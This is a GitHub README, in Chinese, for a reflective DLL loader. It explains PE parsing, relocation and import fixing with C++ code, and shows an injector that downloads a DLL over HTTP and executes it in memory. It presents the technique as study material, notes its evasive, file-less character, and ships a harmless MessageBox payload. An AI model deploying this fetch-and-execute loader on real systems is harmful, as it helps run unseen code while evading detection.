Skip to content

CuteCuteYu/http-and-dll-reflect-loader

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

DLL 反射注入示例

本项目演示了通过HTTP下载DLL并使用反射注入技术执行的技术。

项目结构

文件 说明
a.cpp DLL源代码,包含MessageBox导出函数
a.dll 编译后的DLL文件
server.cpp 简单的HTTP服务器,提供DLL下载
server.exe HTTP服务器可执行文件
injector.cpp 反射注入器,从服务器下载DLL并注入执行
injector.exe 注入器可执行文件

技术原理

PE文件结构

Windows可执行文件(EXE/DLL)采用PE(Portable Executable)格式:

┌─────────────────────────────────┐
│         DOS Header              │  ← IMAGE_DOS_HEADER (e_magic, e_lfanew)
├─────────────────────────────────┤
│      DOS Stub Program           │
├─────────────────────────────────┤
│         PE Header               │  ← IMAGE_NT_HEADERS (Signature)
│   ┌─────────────────────────┐   │
│   │   File Header           │   │  ← Machine, NumberOfSections, TimeDateStamp
│   ├─────────────────────────┤   │
│   │   Optional Header       │   │  ← ImageBase, EntryPoint, SizeOfImage
│   └─────────────────────────┘   │
├─────────────────────────────────┤
│      Section Table              │  ← 各节信息 (.text, .data, .rdata, .reloc)
│   ┌─────────────────────────┐   │
│   │ .text                   │   │
│   ├─────────────────────────┤   │
│   │ .data                   │   │
│   ├─────────────────────────┤   │
│   │ .rdata (imports)        │   │
│   ├─────────────────────────┤   │
│   │ .reloc (relocation)     │   │
│   └─────────────────────────┘   │
├─────────────────────────────────┤
│      Sections Data              │
└─────────────────────────────────┘

反射注入流程

┌──────────────────────────────────────────────────────────────────────┐
│                        反射注入完整流程                                │
├──────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  1. 下载DLL ─────────────────────────────────────────────────────>  │
│     HTTP请求获取DLL文件内容到内存缓冲区                              │
│                                                                      │
│  2. PE解析 ─────────────────────────────────────────────────────>   │
│     ┌──────────────────┐                                            │
│     │ 解析DOS头        │ → 获取e_lfanew找到NT头                    │
│     │ 解析NT头         │ → 获取ImageBase, SizeOfImage, EntryPoint  │
│     │ 解析节表         │ → 获取各节VA, Size, RawSize              │
│     │ 解析数据目录     │ → 获取导入表、重定位表、导出表            │
│     └──────────────────┘                                            │
│                                                                      │
│  3. 内存分配 ─────────────────────────────────────────────────────>  │
│     VirtualAlloc(ImageBase, SizeOfImage, MEM_RESERVE)              │
│     如果失败则使用系统分配地址                                       │
│                                                                      │
│  4. 节复制 ─────────────────────────────────────────────────────>   │
│     ┌──────────────────┐                                            │
│     │ 复制PE头         │ → SizeOfHeaders字节                       │
│     │ 复制各节数据     │ → 按PointerToRawData复制到VA位置          │
│     └──────────────────┘                                            │
│                                                                      │
│  5. 重定位修复 ─────────────────────────────────────────────────>   │
│     delta = ActualBase - ImageBase                                  │
│     遍历重定位表,所有相对地址 += delta                              │
│                                                                      │
│  6. 导入表修复 ─────────────────────────────────────────────────>   │
│     ┌──────────────────┐                                            │
│     │ 遍历导入表       │ → 读取DLL名称                             │
│     │ LoadLibrary      │ → 加载依赖DLL                              │
│     │ GetProcAddress  │ → 获取函数地址                              │
│     │ 填充IAT         │ → 写入ThunkData                           │
│     └──────────────────┘                                            │
│                                                                      │
│  7. 内存保护 ─────────────────────────────────────────────────────>  │
│     VirtualProtect(SizeOfImage, PAGE_EXECUTE_READ)                 │
│                                                                      │
│  8. 调用导出函数 ───────────────────────────────────────────────>   │
│     从导出表查找函数地址,直接调用                                    │
│                                                                      │
└──────────────────────────────────────────────────────────────────────┘

PE关键结构解析

1. 获取NT Headers

PIMAGE_NT_HEADERS get_nt_headers(PVOID image_base) {
    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)image_base;
    if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
    
    PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((BYTE*)image_base + dos_header->e_lfanew);
    if (nt_headers->Signature != IMAGE_NT_SIGNATURE) return NULL;
    
    return nt_headers;
}

2. 获取数据目录

PVOID get_directory_entry(PVOID image_base, DWORD entry) {
    PIMAGE_NT_HEADERS nt_headers = get_nt_headers(image_base);
    PIMAGE_DATA_DIRECTORY directory = &nt_headers->OptionalHeader.DataDirectory[entry];
    if (directory->VirtualAddress == 0) return NULL;
    return (BYTE*)image_base + directory->VirtualAddress;
}

常用数据目录索引:

  • IMAGE_DIRECTORY_ENTRY_EXPORT (0) - 导出表
  • IMAGE_DIRECTORY_ENTRY_IMPORT (1) - 导入表
  • IMAGE_DIRECTORY_ENTRY_BASERELOC (5) - 重定位表

3. 重定位表修复

什么是重定位?

当编译器编译DLL时,它假设DLL会被加载到一个特定的地址(称为ImageBase)。例如,编译器可能假设DLL会被加载到 0x10000000

但在某些情况下,这个地址可能被其他DLL占用,操作系统会把这个DLL加载到不同的地址。这时,DLL中所有写死的地址都需要修正,这就是重定位

为什么要重定位?

假设DLL中有以下代码:

void* ptr = some_global_variable;

编译器会生成这样的指令:

mov eax, [0x1000C000]  // 假设全局变量在VA=0xC000的位置

如果DLL实际加载到 0x20000000,那这个地址应该变成 0x2000C000

计算公式:

新地址 = 原地址 + (实际加载基址 - 预期ImageBase)

这个差值通常称为 delta

重定位表结构

重定位表由多个 IMAGE_BASE_RELOCATION 块组成:

┌─────────────────────────────────────────────────┐
│ IMAGE_BASE_RELOCATION                          │
│ ┌───────────────────────────────────────────┐ │
│ │ VirtualAddress    │ 页起始RVA              │ │
│ │ SizeOfBlock       │ 本块总大小            │ │
│ └───────────────────────────────────────────┘ │
│ ┌───────────────────────────────────────────┐ │
│ │ Type/Offset[0]    │ 高4位=类型,低12位=偏移 │ │
│ │ Type/Offset[1]    │ ...                   │ │
│ │ ...               │                       │ │
│ └───────────────────────────────────────────┘ │
└─────────────────────────────────────────────────┘

每个Type/Offset条目:

  • 高4位:重定位类型(1=HIGHLOW, 10=DIR64)
  • 低12位:相对于VirtualAddress的偏移量
重定位修复步骤

步骤1:获取重定位表

PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)get_directory_entry(
    module_base, IMAGE_DIRECTORY_ENTRY_BASERELOC);

从PE数据目录获取重定位表位置。

步骤2:遍历所有重定位块

while (relocation->VirtualAddress != 0) {
    // 处理当前块
    relocation = (PIMAGE_BASE_RELOCATION)((BYTE*)relocation + relocation->SizeOfBlock);
}

步骤3:计算本块有多少个重定位项

DWORD count = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

步骤4:处理每个重定位项

WORD* reloc_data = (WORD*)((BYTE*)relocation + sizeof(IMAGE_BASE_RELOCATION));

for (DWORD i = 0; i < count; i++) {
    WORD type = reloc_data[i] >> 12;      // 提取高4位类型
    WORD offset = reloc_data[i] & 0x0FFF;  // 提取低12位偏移
    
    if (type == IMAGE_REL_BASED_HIGHLOW) {  // 32位系统
        DWORD* address = (DWORD*)((BYTE*)module_base + relocation->VirtualAddress + offset);
        *address = (DWORD)(*address + delta);
    } else if (type == IMAGE_REL_BASED_DIR64) {  // 64位系统
        ULONGLONG* address = (ULONGLONG*)((BYTE*)module_base + relocation->VirtualAddress + offset);
        *address = (ULONGLONG)(*address + delta);
    }
}

完整代码:

bool perform_relocation(PVOID module_base, size_t delta) {
    PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)get_directory_entry(
        module_base, IMAGE_DIRECTORY_ENTRY_BASERELOC);
    if (!relocation || relocation->VirtualAddress == 0) return true;

    while (relocation->VirtualAddress != 0) {
        DWORD count = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
        WORD* reloc_data = (WORD*)((BYTE*)relocation + sizeof(IMAGE_BASE_RELOCATION));
        
        for (DWORD i = 0; i < count; i++) {
            WORD type = reloc_data[i] >> 12;
            WORD offset = reloc_data[i] & 0x0FFF;
            
            if (type == IMAGE_REL_BASED_HIGHLOW) {
                DWORD* address = (DWORD*)((BYTE*)module_base + relocation->VirtualAddress + offset);
                *address = (DWORD)(*address + delta);
            } else if (type == IMAGE_REL_BASED_DIR64) {
                ULONGLONG* address = (ULONGLONG*)((BYTE*)module_base + relocation->VirtualAddress + offset);
                *address = (ULONGLONG)(*address + delta);
            }
        }
        
        relocation = (PIMAGE_BASE_RELOCATION)((BYTE*)relocation + relocation->SizeOfBlock);
    }
    return true;
}

重定位类型说明:

类型 说明 适用环境
IMAGE_REL_BASED_ABSOLUTE 忽略,无实际作用 -
IMAGE_REL_BASED_HIGHLOW 32位地址重定位 x86 (32位)
IMAGE_REL_BASED_DIR64 64位地址重定位 x64 (64位)

4. 导入表修复

什么是导入表?

当DLL使用其他DLL的函数时(如 MessageBoxA 来自 user32.dll),编译器不会直接嵌入函数地址,而是记录:

  • 需要哪个DLL
  • 需要哪个函数

这些信息存储在**导入表(Import Table)**中。

导入表结构
┌──────────────────────────────────────────────────────────────────┐
│ IMAGE_IMPORT_DESCRIPTOR (数组,每个DLL一个)                       │
├──────────────────────────────────────────────────────────────────┤
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ OriginalFirstThunk │ 指向 IMAGE_THUNK_DATA 数组 (名称查找表) │ │
│ │ TimeDateStamp       │ 时间戳                                  │ │
│ │ ForwarderChain     │ 转发链                                   │ │
│ │ Name               │ DLL名称字符串的RVA                      │ │
│ │ FirstThunk         │ 指向 IMAGE_THUNK_DATA 数组 (IAT)        │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ ... (更多DLL)                                                    │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ Name = 0 (结束标志)                                          │ │
│ └──────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────┐
│ IMAGE_THUNK_DATA 数组 (通过OriginalFirstThunk访问)               │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ u1.AddressOfData │ 指向 IMAGE_IMPORT_BY_NAME 的RVA        │ │
│ │ (或 Ordinal)     │ 或序号                                    │ │
│ └──────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────┐
│ IMAGE_IMPORT_BY_NAME                                             │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ Hint    │ 函数名称查找索引                                    │ │
│ │ Name    │ 函数名字符串 "MessageBoxA"                         │ │
│ └──────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
导入表修复步骤

步骤1:获取导入表

PIMAGE_IMPORT_DESCRIPTOR import_desc = (PIMAGE_IMPORT_DESCRIPTOR)get_directory_entry(
    module_base, IMAGE_DIRECTORY_ENTRY_IMPORT);

步骤2:遍历所有导入的DLL

while (import_desc->Name != 0) {
    // 处理当前DLL
    import_desc++;
}

步骤3:获取DLL名称并加载

char* dll_name = (char*)((BYTE*)module_base + import_desc->Name);
HMODULE dll = LoadLibraryA(dll_name);

步骤4:遍历导入函数

PIMAGE_THUNK_DATA original = (PIMAGE_THUNK_DATA)((BYTE*)module_base + import_desc->OriginalFirstThunk);
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((BYTE*)module_base + import_desc->FirstThunk);

for (; original->u1.AddressOfData != 0; original++, thunk++) {
    // 处理每个导入函数
}

步骤5:区分按名称导入和按序号导入

if (original->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
    // 按序号导入
    DWORD ordinal = original->u1.Ordinal & 0xFFFF;
    thunk->u1.Function = (ULONGLONG)GetProcAddress(dll, (LPCSTR)ordinal);
} else {
    // 按名称导入
    IMAGE_IMPORT_BY_NAME* import_by_name = (IMAGE_IMPORT_BY_NAME*)((BYTE*)module_base + original->u1.AddressOfData);
    thunk->u1.Function = (ULONGLONG)GetProcAddress(dll, (LPCSTR)import_by_name->Name);
}

完整代码:

bool fix_imports(PVOID module_base) {
    PIMAGE_IMPORT_DESCRIPTOR import_desc = (PIMAGE_IMPORT_DESCRIPTOR)get_directory_entry(
        module_base, IMAGE_DIRECTORY_ENTRY_IMPORT);
    if (!import_desc) return true;

    // 遍历所有导入的DLL
    while (import_desc->Name != 0) {
        // 步骤1:获取DLL名称
        char* dll_name = (char*)((BYTE*)module_base + import_desc->Name);
        
        // 步骤2:加载DLL到进程
        HMODULE dll = LoadLibraryA(dll_name);
        if (!dll) return false;

        // 步骤3:获取导入函数表
        PIMAGE_THUNK_DATA original = (PIMAGE_THUNK_DATA)((BYTE*)module_base + import_desc->OriginalFirstThunk);
        PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((BYTE*)module_base + import_desc->FirstThunk);

        // 步骤4:遍历并填充每个导入函数
        for (; original->u1.AddressOfData != 0; original++, thunk++) {
            if (original->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
                // 按序号导入(如 ordinal=123)
                DWORD ordinal = original->u1.Ordinal & 0xFFFF;
                thunk->u1.Function = (ULONGLONG)GetProcAddress(dll, (LPCSTR)ordinal);
            } else {
                // 按名称导入(如 "MessageBoxA")
                IMAGE_IMPORT_BY_NAME* import_by_name = (IMAGE_IMPORT_BY_NAME*)((BYTE*)module_base + original->u1.AddressOfData);
                thunk->u1.Function = (ULONGLONG)GetProcAddress(dll, (LPCSTR)import_by_name->Name);
            }
        }
        
        // 下一个DLL
        import_desc++;
    }
    return true;
}
为什么要修复导入表?

在PE文件中,导入表初始时包含的是函数名称字符串占位符地址。操作系统加载器会:

  1. 根据DLL名加载DLL
  2. 根据函数名查找真实函数地址
  3. 将地址写入IAT(Import Address Table)

反射注入需要手动完成这个过程,因为我们绕过了操作系统的加载器。

5. 导出表遍历

查找并调用导出函数:

ExportedFunc find_export(PVOID module_base, const char* export_name) {
    PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)get_directory_entry(
        module_base, IMAGE_DIRECTORY_ENTRY_EXPORT);
    
    DWORD* names = (DWORD*)((BYTE*)module_base + export_dir->AddressOfNames);
    DWORD* functions = (DWORD*)((BYTE*)module_base + export_dir->AddressOfFunctions);
    WORD* ordinals = (WORD*)((BYTE*)module_base + export_dir->AddressOfNameOrdinals);
    
    for (DWORD i = 0; i < export_dir->NumberOfNames; i++) {
        const char* name = (const char*)((BYTE*)module_base + names[i]);
        if (strcmp(name, export_name) == 0) {
            DWORD ord = ordinals[i];
            return (ExportedFunc)((BYTE*)module_base + functions[ord]);
        }
    }
    return NULL;
}

反射注入 vs 传统DLL注入

特性 传统注入 反射注入
文件落地 需要DLL文件 无需文件,直接内存加载
依赖 需要CreateRemoteThread 不需要创建远程线程
兼容性 需要LoadLibrary 可在任意进程加载
隐蔽性 易被检测 更难被检测
复杂度 简单 复杂

使用方法

编译

# 编译DLL(重要:必须指定32位ImageBase)
g++ -shared -o a.dll a.cpp -fPIC "-Wl,--image-base,0x10000000"

# 编译HTTP服务器
g++ -o server.exe server.cpp -lws2_32

# 编译注入器 (使用WinHttp内存下载)
g++ -o injector.exe injector.cpp config.cpp -lws2_32 -lwinhttp

运行

步骤1:启动HTTP服务器

./server.exe

服务器启动后会显示:

Server running on http://localhost:8000
Download DLL: http://localhost:8000/a.dll

步骤2:运行注入器

./injector.exe

注入器会:

  1. http://localhost:8000/a.dll 下载DLL
  2. 将DLL加载到内存
  3. 执行重定位修复和导入表修复
  4. 调用DLL的导出函数 ShowMessageBox

结果

成功后会弹出MessageBox对话框,显示 "Hello from DLL!"。

代码说明

a.cpp - DLL源代码(模板)

#include <windows.h>

// 使用 extern "C" 确保函数名不被 mangled
extern "C" {

// 导出的函数 - 你可以添加任意数量的函数
__declspec(dllexport) void MyFunction() {
    // 在这里编写你的代码
    MessageBoxA(NULL, "Hello from DLL!", "Title", MB_OK);
}

// 导出带参数的函数示例
__declspec(dllexport) int AddNumbers(int a, int b) {
    return a + b;
}

// 导出带返回值的函数示例
__declspec(dllexport) const char* GetMessage() {
    return "Hello World!";
}

// DllMain 是可选的,建议删除
// BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
//     return TRUE;
// }

}

DLL编写指南

  1. 必须使用 extern "C" - 防止函数名被C++ mangled
  2. 使用 __declspec(dllexport) - 导出函数让injector可以调用
  3. 编译命令 - g++ -shared -o mydll.dll mydll.cpp -fPIC "-Wl,--image-base,0x10000000"
  4. 函数签名 - 推荐使用简单函数(无参数或基本类型参数),复杂参数需要序列化
  5. DllMain - 建议省略DllMain,injector默认不会调用

server.cpp - HTTP服务器

  • 监听8000端口
  • 提供 /a.dll 路由下载DLL文件
  • 使用WinSock2实现

injector.cpp - 反射注入器

核心函数:

  • download_dll() - 下载DLL文件
  • get_nt_headers() - 获取PE NT头
  • perform_relocation() - 执行重定位修复
  • fix_imports() - 修复导入表
  • execute_tls() - 执行TLS回调
  • reflective_inject() - 完整的反射注入流程

配置文件

injector 内置默认配置,同时也支持使用 config.ini 文件覆盖设置。

内置默认配置

内置在 default_config.h 中:

配置项 默认值
DLLUrl http://localhost:8000/a.dll
ExportFunction ShowMessageBox
DebugOutput false

配置文件(可选)

在同目录下创建 config.ini 可覆盖默认值:

[Server]
Port=8000

[Injector]
DLLUrl=http://localhost:8000/a.dll
ExportFunction=ShowMessageBox
DebugOutput=false

修改内置配置

如需修改内置默认配置,编辑 default_config.h 后重新编译:

// default_config.h
static constexpr const char* DLLUrl = "http://localhost:8000/mydll.dll";
static constexpr const char* ExportFunction = "MyFunction";
static constexpr bool DebugOutput = false;

配置说明

配置项 说明 示例
DLLUrl 完整的DLL下载URL http://localhost:8000/mydll.dll
ExportFunction 要调用的导出函数名 MyFunction
DebugOutput 显示调试信息 truefalse

命令行选项

命令行参数可以覆盖配置文件中的设置:

参数 说明 示例
--url <url> 覆盖配置文件中的DLLUrl --url http://192.168.1.100/dll.dll
--export <name> 覆盖配置文件中的ExportFunction --export MyFunction
--debug 启用调试输出 --debug
--help, -h 显示帮助信息 --help

使用示例

# 使用内置默认配置
.\injector.exe

# 使用自定义配置文件
.\injector.exe

# 命令行覆盖URL
.\injector.exe --url http://localhost:9000/mydll.dll

# 命令行覆盖导出函数
.\injector.exe --export MyFunction

# 启用调试
.\injector.exe --debug

配置说明

配置项 说明 示例
DLLUrl 完整的DLL下载URL http://localhost:8000/mydll.dll
ExportFunction 要调用的导出函数名 MyFunction
DebugOutput 显示调试信息 truefalse

命令行选项

命令行参数可以覆盖配置文件中的设置:

参数 说明 示例
--url <url> 覆盖配置文件中的DLLUrl --url http://192.168.1.100/dll.dll
--export <name> 覆盖配置文件中的ExportFunction --export MyFunction
--debug 启用调试输出 --debug
--help, -h 显示帮助信息 --help

使用示例

# 使用配置文件中的设置
.\injector.exe

# 命令行覆盖URL
.\injector.exe --url http://localhost:9000/mydll.dll

# 命令行覆盖导出函数
.\injector.exe --export MyFunction

# 启用调试
.\injector.exe --debug

注意事项

  1. 本代码仅供学习研究使用
  2. 反射注入技术可能被恶意软件用于规避安全检测
  3. 请确保防火墙允许配置中指定的端口通信
  4. 如果下载失败,检查服务器是否正常运行
  5. 如果DLL加载失败,尝试调整 PreferredBase 地址

编译

# 编译DLL(重要:必须指定32位ImageBase)
g++ -shared -o a.dll a.cpp -fPIC "-Wl,--image-base,0x10000000"

# 编译HTTP服务器
g++ -o server.exe server.cpp -lws2_32

# 编译注入器(需要config.cpp和default_config.h)
g++ -o injector.exe injector.cpp config.cpp -lws2_32 -lwinhttp

注意:DLL必须使用 -Wl,--image-base,0x10000000 参数指定32位ImageBase,否则反射注入会失败。

依赖

  • MinGW/G++ 编译器
  • Windows操作系统
  • WinSock2 (ws2_32.lib)
  • WinHTTP (winhttp.lib)

About

http-and-dll-reflect-loader

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors